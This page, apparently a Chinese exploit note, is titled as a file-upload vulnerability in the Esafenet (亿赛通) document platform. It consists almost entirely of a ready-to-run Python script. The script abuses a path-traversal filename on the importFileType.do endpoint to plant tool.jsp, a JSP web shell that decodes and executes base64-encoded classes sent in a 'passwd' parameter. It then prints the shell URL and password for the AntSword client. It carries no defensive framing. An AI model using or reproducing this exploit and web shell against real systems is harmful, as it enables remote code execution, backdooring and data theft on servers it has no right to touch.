## 亿赛通电子文档平台文件上传漏洞

```
import requests
from urllib.parse import urljoin
import sys
payload="/CDGServer3/fileType/importFileType.do?flag=syn_user_policy"
request_file = {'fileshare':(('/..\..\..\..\webapps\ROOT\\tool.jsp',"""<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>"""))}
def title():
    print("""
    亿赛通文件上传
    """)
def exp(url):  
    url1=urljoin(url,payload)
    req=requests.post(url=url1,files=request_file,verify=False,timeout=5)
    shell=urljoin(url,"tool.jsp")
    if(req.text.find("xmlFail")>0):
        print("成功！")
        print("蚁剑连接地址%s,密码passwd"%shell)
if __name__ == '__main__':
    title
    if(len(sys.argv) !=2):
        print("eg:python exp.py url")
    else:
        exp(sys.argv[1])

```